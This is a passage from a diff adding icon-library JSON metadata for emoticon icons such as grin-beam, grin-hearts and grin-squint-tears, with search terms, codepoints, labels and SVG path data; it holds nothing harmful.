+ "512" + ], + "width": 496, + "height": 512, + "path": "M200.3 248c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zm128 0c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-beam": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "laugh", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f582", + "label": "Grinning Face With Smiling Eyes", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635511, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 144c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 144c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" + }, + "regular": { + "last_modified": 1628088634836, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-235.9-72.9c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3zm160 0c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-235.9-72.9c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3zm160 0c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-beam-sweat": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "embarass", + "emoticon", + "face", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f583", + "label": "Grinning Face With Sweat", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635511, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 504 512\"><path d=\"M456 128c26.5 0 48-21 48-47 0-20-28.5-60.4-41.6-77.8-3.2-4.3-9.6-4.3-12.8 0C436.5 20.6 408 61 408 81c0 26 21.5 47 48 47zm0 32c-44.1 0-80-35.4-80-79 0-4.4.3-14.2 8.1-32.2C345 23.1 298.3 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-35.1-7.4-68.4-20.5-98.6-6.3 1.5-12.7 2.6-19.5 2.6zm-128-8c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "504", + "512" + ], + "width": 504, + "height": 512, + "path": "M456 128c26.5 0 48-21 48-47 0-20-28.5-60.4-41.6-77.8-3.2-4.3-9.6-4.3-12.8 0C436.5 20.6 408 61 408 81c0 26 21.5 47 48 47zm0 32c-44.1 0-80-35.4-80-79 0-4.4.3-14.2 8.1-32.2C345 23.1 298.3 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-35.1-7.4-68.4-20.5-98.6-6.3 1.5-12.7 2.6-19.5 2.6zm-128-8c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" + }, + "regular": { + "last_modified": 1628088634836, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M440 160c29.5 0 53.3-26.3 53.3-58.7 0-25-31.7-75.5-46.2-97.3-3.6-5.3-10.7-5.3-14.2 0-14.5 21.8-46.2 72.3-46.2 97.3 0 32.4 23.8 58.7 53.3 58.7zM248 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zm105.3-52.9c-24.6 15.7-46 12.9-46.4 12.9 6.9 20.2 10.8 41.8 10.8 64.3 0 110.3-89.7 200-200 200S48 366.3 48 256 137.7 56 248 56c39.8 0 76.8 11.8 108 31.9 1.7-9.5 6.3-24.1 17.2-45.7C336.4 20.6 293.7 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-27-4.4-52.9-12.4-77.2zM168 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M440 160c29.5 0 53.3-26.3 53.3-58.7 0-25-31.7-75.5-46.2-97.3-3.6-5.3-10.7-5.3-14.2 0-14.5 21.8-46.2 72.3-46.2 97.3 0 32.4 23.8 58.7 53.3 58.7zM248 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zm105.3-52.9c-24.6 15.7-46 12.9-46.4 12.9 6.9 20.2 10.8 41.8 10.8 64.3 0 110.3-89.7 200-200 200S48 366.3 48 256 137.7 56 248 56c39.8 0 76.8 11.8 108 31.9 1.7-9.5 6.3-24.1 17.2-45.7C336.4 20.6 293.7 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-27-4.4-52.9-12.4-77.2zM168 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-hearts": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "love", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f584", + "label": "Smiling Face With Heart-Eyes", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635511, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM90.4 183.6c6.7-17.6 26.7-26.7 44.9-21.9l7.1 1.9 2-7.1c5-18.1 22.8-30.9 41.5-27.9 21.4 3.4 34.4 24.2 28.8 44.5L195.3 243c-1.2 4.5-5.9 7.2-10.5 6l-70.2-18.2c-20.4-5.4-31.9-27-24.2-47.2zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm133.4-201.3l-70.2 18.2c-4.5 1.2-9.2-1.5-10.5-6L281.3 173c-5.6-20.3 7.4-41.1 28.8-44.5 18.6-3 36.4 9.8 41.5 27.9l2 7.1 7.1-1.9c18.2-4.7 38.2 4.3 44.9 21.9 7.7 20.3-3.8 41.9-24.2 47.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM90.4 183.6c6.7-17.6 26.7-26.7 44.9-21.9l7.1 1.9 2-7.1c5-18.1 22.8-30.9 41.5-27.9 21.4 3.4 34.4 24.2 28.8 44.5L195.3 243c-1.2 4.5-5.9 7.2-10.5 6l-70.2-18.2c-20.4-5.4-31.9-27-24.2-47.2zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm133.4-201.3l-70.2 18.2c-4.5 1.2-9.2-1.5-10.5-6L281.3 173c-5.6-20.3 7.4-41.1 28.8-44.5 18.6-3 36.4 9.8 41.5 27.9l2 7.1 7.1-1.9c18.2-4.7 38.2 4.3 44.9 21.9 7.7 20.3-3.8 41.9-24.2 47.2z" + }, + "regular": { + "last_modified": 1628088634836, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M353.6 304.6c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-152.8-48.9c4.5 1.2 9.2-1.5 10.5-6l19.4-69.9c5.6-20.3-7.4-41.1-28.8-44.5-18.6-3-36.4 9.8-41.5 27.9l-2 7.1-7.1-1.9c-18.2-4.7-38.2 4.3-44.9 22-7.7 20.2 3.8 41.9 24.2 47.2l70.2 18.1zm188.8-65.3c-6.7-17.6-26.7-26.7-44.9-22l-7.1 1.9-2-7.1c-5-18.1-22.8-30.9-41.5-27.9-21.4 3.4-34.4 24.2-28.8 44.5l19.4 69.9c1.2 4.5 5.9 7.2 10.5 6l70.2-18.2c20.4-5.3 31.9-26.9 24.2-47.1zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M353.6 304.6c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-152.8-48.9c4.5 1.2 9.2-1.5 10.5-6l19.4-69.9c5.6-20.3-7.4-41.1-28.8-44.5-18.6-3-36.4 9.8-41.5 27.9l-2 7.1-7.1-1.9c-18.2-4.7-38.2 4.3-44.9 22-7.7 20.2 3.8 41.9 24.2 47.2l70.2 18.1zm188.8-65.3c-6.7-17.6-26.7-26.7-44.9-22l-7.1 1.9-2-7.1c-5-18.1-22.8-30.9-41.5-27.9-21.4 3.4-34.4 24.2-28.8 44.5l19.4 69.9c1.2 4.5 5.9 7.2 10.5 6l70.2-18.2c20.4-5.3 31.9-26.9 24.2-47.1zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-squint": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "laugh", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f585", + "label": "Grinning Squinting Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635512, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" + }, + "regular": { + "last_modified": 1628088634837, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-234.7-40.8c3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3l-80-48c-5.1-3-11.4-1.9-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11.1.1 15.5zm242.9 2.5c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11-.1-15.5-3.8-4.4-10.2-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-234.7-40.8c3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3l-80-48c-5.1-3-11.4-1.9-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11.1.1 15.5zm242.9 2.5c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11-.1-15.5-3.8-4.4-10.2-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-squint-tears": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "happy", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f586", + "label": "Rolling on the Floor Laughing", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635512, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M409.6 111.9c22.6-3.2 73.5-12 88.3-26.8 19.2-19.2 18.9-50.6-.7-70.2S446-5 426.9 14.2c-14.8 14.8-23.5 65.7-26.8 88.3-.8 5.5 3.9 10.2 9.5 9.4zM102.4 400.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm311.7-256.5c-33 3.9-48.6-25.1-45.7-45.7 3.4-24 7.4-42.1 11.5-56.5C285.1-13.4 161.8-.5 80.6 80.6-.5 161.7-13.4 285 41.4 379.9c14.4-4.1 32.4-8 56.5-11.5 33.2-3.9 48.6 25.2 45.7 45.7-3.4 24-7.4 42.1-11.5 56.5 94.8 54.8 218.1 41.9 299.3-39.2s94-204.4 39.2-299.3c-14.4 4.1-32.5 8-56.5 11.5zM255.7 106c3.3-13.2 22.4-11.5 23.6 1.8l4.8 52.3 52.3 4.8c13.4 1.2 14.9 20.3 1.8 23.6l-90.5 22.6c-8.9 2.2-16.7-5.9-14.5-14.5l22.5-90.6zm-90.9 230.3L160 284l-52.3-4.8c-13.4-1.2-14.9-20.3-1.8-23.6l90.5-22.6c8.8-2.2 16.7 5.8 14.5 14.5L188.3 338c-3.1 13.2-22.2 11.7-23.5-1.7zm215.7 44.2c-29.3 29.3-75.7 50.4-116.7 50.4-18.9 0-36.6-4.5-51-14.7-9.8-6.9-8.7-21.8 2-27.2 28.3-14.6 63.9-42.4 97.8-76.3s61.7-69.6 76.3-97.8c5.4-10.5 20.2-11.9 27.3-2 32.3 45.3 7.1 124.7-35.7 167.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M409.6 111.9c22.6-3.2 73.5-12 88.3-26.8 19.2-19.2 18.9-50.6-.7-70.2S446-5 426.9 14.2c-14.8 14.8-23.5 65.7-26.8 88.3-.8 5.5 3.9 10.2 9.5 9.4zM102.4 400.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm311.7-256.5c-33 3.9-48.6-25.1-45.7-45.7 3.4-24 7.4-42.1 11.5-56.5C285.1-13.4 161.8-.5 80.6 80.6-.5 161.7-13.4 285 41.4 379.9c14.4-4.1 32.4-8 56.5-11.5 33.2-3.9 48.6 25.2 45.7 45.7-3.4 24-7.4 42.1-11.5 56.5 94.8 54.8 218.1 41.9 299.3-39.2s94-204.4 39.2-299.3c-14.4 4.1-32.5 8-56.5 11.5zM255.7 106c3.3-13.2 22.4-11.5 23.6 1.8l4.8 52.3 52.3 4.8c13.4 1.2 14.9 20.3 1.8 23.6l-90.5 22.6c-8.9 2.2-16.7-5.9-14.5-14.5l22.5-90.6zm-90.9 230.3L160 284l-52.3-4.8c-13.4-1.2-14.9-20.3-1.8-23.6l90.5-22.6c8.8-2.2 16.7 5.8 14.5 14.5L188.3 338c-3.1 13.2-22.2 11.7-23.5-1.7zm215.7 44.2c-29.3 29.3-75.7 50.4-116.7 50.4-18.9 0-36.6-4.5-51-14.7-9.8-6.9-8.7-21.8 2-27.2 28.3-14.6 63.9-42.4 97.8-76.3s61.7-69.6 76.3-97.8c5.4-10.5 20.2-11.9 27.3-2 32.3 45.3 7.1 124.7-35.7 167.6z" + }, + "regular": { + "last_modified": 1628088634837, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M117.1 384.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 479 124.3 420.8 128 395c.8-6.4-4.6-11.8-10.9-10.9zm-41.2-41.7C40.3 268 53 176.1 114.6 114.6 152.4 76.8 202.6 56 256 56c36.2 0 70.8 9.8 101.2 27.7 3.8-20.3 8-36.1 12-48.3C333.8 17.2 294.9 8 256 8 192.5 8 129.1 32.2 80.6 80.6c-74.1 74.1-91.3 183.4-52 274 12.2-4.1 27.7-8.3 47.3-12.2zm352.3-187.6c45 76.6 34.9 176.9-30.8 242.6-37.8 37.8-88 58.6-141.4 58.6-30.5 0-59.8-7-86.4-19.8-3.9 19.5-8 35-12.2 47.2 31.4 13.6 65 20.6 98.7 20.6 63.5 0 126.9-24.2 175.4-72.6 78.1-78.1 93.1-195.4 45.2-288.6-12.3 4-28.2 8.1-48.5 12zm-33.3-26.9c25.8-3.7 84-13.7 100.9-30.6 21.9-21.9 21.5-57.9-.9-80.3s-58.3-22.8-80.3-.9C397.7 33 387.7 91.2 384 117c-.8 6.4 4.6 11.8 10.9 10.9zm-187 108.3c-3-3-7.2-4.2-11.4-3.2L106 255.7c-5.7 1.4-9.5 6.7-9.1 12.6.5 5.8 5.1 10.5 10.9 11l52.3 4.8 4.8 52.3c.5 5.8 5.2 10.4 11 10.9h.9c5.5 0 10.3-3.7 11.7-9.1l22.6-90.5c1-4.2-.2-8.5-3.2-11.5zm39.7-25.1l90.5-22.6c5.7-1.4 9.5-6.7 9.1-12.6-.5-5.8-5.1-10.5-10.9-11l-52.3-4.8-4.8-52.3c-.5-5.8-5.2-10.4-11-10.9-5.6-.1-11.2 3.4-12.6 9.1L233 196.5c-1 4.1.2 8.4 3.2 11.4 5 5 11.3 3.2 11.4 3.2zm52 88.5c-29.1 29.1-59.7 52.9-83.9 65.4-9.2 4.8-10 17.5-1.7 23.4 38.9 27.7 107 6.2 143.7-30.6S416 253 388.3 214.1c-5.8-8.2-18.5-7.6-23.4 1.7-12.3 24.2-36.2 54.7-65.3 83.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M117.1 384.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 479 124.3 420.8 128 395c.8-6.4-4.6-11.8-10.9-10.9zm-41.2-41.7C40.3 268 53 176.1 114.6 114.6 152.4 76.8 202.6 56 256 56c36.2 0 70.8 9.8 101.2 27.7 3.8-20.3 8-36.1 12-48.3C333.8 17.2 294.9 8 256 8 192.5 8 129.1 32.2 80.6 80.6c-74.1 74.1-91.3 183.4-52 274 12.2-4.1 27.7-8.3 47.3-12.2zm352.3-187.6c45 76.6 34.9 176.9-30.8 242.6-37.8 37.8-88 58.6-141.4 58.6-30.5 0-59.8-7-86.4-19.8-3.9 19.5-8 35-12.2 47.2 31.4 13.6 65 20.6 98.7 20.6 63.5 0 126.9-24.2 175.4-72.6 78.1-78.1 93.1-195.4 45.2-288.6-12.3 4-28.2 8.1-48.5 12zm-33.3-26.9c25.8-3.7 84-13.7 100.9-30.6 21.9-21.9 21.5-57.9-.9-80.3s-58.3-22.8-80.3-.9C397.7 33 387.7 91.2 384 117c-.8 